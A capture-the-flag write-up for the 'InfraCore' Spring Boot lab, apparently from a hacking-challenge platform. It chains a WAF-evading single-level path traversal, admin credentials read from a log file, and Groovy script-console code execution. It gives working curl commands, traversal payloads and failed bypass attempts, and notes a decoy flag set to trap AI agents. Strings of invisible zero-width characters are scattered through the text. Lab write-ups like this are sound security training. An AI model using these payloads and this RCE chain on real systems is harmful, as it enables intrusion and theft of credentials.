← Back to Writeups
CUSTOMMediumWeb
Bookmark

Lab 253 — InfraCore — Path Traversal to RCE via Groovy Script Console

XESXOR9/10/20264 min read
#web#custom#medium#decoy_flag_detection#groovy_script_console_rce#log_credential_extraction#single_level_traversal_waf_byp#linux

Lab 253 — InfraCore — Path Traversal to RCE via Groovy Script Console

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: decoy_flag_detection, groovy_script_console_rce, log_credential_extraction, single_level_traversal_waf_bypass

Summary

Task: Java/Spring Boot infrastructure management app with file download endpoint protected by WAF. Solution: bypass WAF with single-level ../ to read application.log, extract admin credentials, login as admin, execute Groovy script to read /root/flag.txt.

Lab 253 — InfraCore — HackAdvisor

Description

InfraCore is an infrastructure management platform built by CoreStack Technologies, used by DevOps teams to monitor servers, manage deployments, and generate operational reports. The application features a dashboard with server health metrics, a deployment tracker, and an operational reports section with export functionality. An administrative panel provides system configuration and maintenance tools for platform engineers. Your objective is to find the flag hidden on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Java/Spring Boot web application with user authentication, a file download endpoint for CSV reports, and a hidden admin panel with a Groovy Script Console. The goal is to find and read the flag file on the server.

Analysis

Initial Reconnaissance

The application is a Java/Spring Boot app running behind nginx/1.25.5 with a Tomcat backend. Logging in with the provided credentials (user@test.com / password123) reveals a dashboard with several pages: /, /servers, /deployments, /reports. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flag detection: Every page contains a honeypot flag embedded in HTML comments and hidden divs: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. The name literally spells "decoy not real trap for bots" — this is a fake flag designed to trap automated scanners and AI agents.

Attack Surface Discovery

The Reports page (/reports) lists CSV reports with download links pointing to:

/admin/download?filename=<report-name>.csv

Valid filenames include: incident-report-2024-q3.csv, performance-summary-2024-10.csv, uptime-report-2024-09.csv, uptime-report-2024-10.csv. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The JavaScript file /js/infracore.js also contains a comment referencing this endpoint:

 javascript 
var ADMIN_EXPORT_URL = '/admin/download?filename=';

The filename parameter is the primary attack vector — a classic file download endpoint susceptible to path traversal.

WAF Analysis

The application has a WAF (likely nginx-level) that filters directory traversal attempts:

PayloadResultNotes
../../../etc/passwd403 ForbiddenMulti-level ../ blocked
%2e%2e/etc/passwd403 ForbiddenURL-encoded dots blocked
....//etc/passwd404 Not FoundStripped but doesn't traverse
..;/etc/passwd404 Not FoundTomcat path parameter trick fails
%252e%252e%252f404 Not FoundDouble URL encoding fails
../logs/application.log200 OKSingle-level ../ succeeds!
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insight: Files are served from a reports/ subdirectory. The WAF rule only triggers on 2+ levels of ../ traversal. A single ../ is sufficient to escape the reports/ directory and access sibling directories like logs/.

Solution

Step 1: Login as Regular User

 bash 
# Login and capture session cookie
curl -c cookies.txt -X POST 'https://TARGET/login' \
  -d 'username=user@test.com&password=password123'

Step 2: Path Traversal to Read Application Log

 bash 
# Single-level traversal bypasses WAF
curl -b cookies.txt 'https://TARGET/admin/download?filename=../logs/application.log'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application log contains plaintext admin credentials logged during a password migration or authentication event:

... admin credentials: admin / InfraCoreAdmin#2024 ...

Step 3: Login as Admin

 bash 
# Login with extracted admin credentials
curl -c admin_cookies.txt -X POST 'https://TARGET/login' \
  -d 'username=admin&password=InfraCoreAdmin#2024'

Step 4: RCE via Groovy Script Console

The admin panel exposes a Groovy Script Console at /admin/console/execute. Groovy runs on the JVM and has full access to Java APIs including file I/O: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash 
# Execute Groovy script to read the flag
curl -b admin_cookies.txt -X POST 'https://TARGET/admin/console/execute' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'script=new+File("/root/flag.txt").text'

The server executes the Groovy code and returns the flag content directly.

Failed Approaches

  • Multi-level traversal (../../../etc/passwd) — blocked by WAF with 403
  • URL-encoded traversal (%2e%2e/) — also blocked by WAF
  • Nested traversal (....//) — stripped but doesn't traverse, returns 404
  • Tomcat path parameter trick (..;/) — returns 404
  • Double URL encoding (%252e%252e%252f) — returns 404
  • Null byte injection (..%00/) — returns 500 error
  • Webapp-relative paths (WEB-INF/web.xml) — returns 404 (wrong directory structure)
  • Spring Boot actuator endpoints (/actuator/*) — all return 404 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍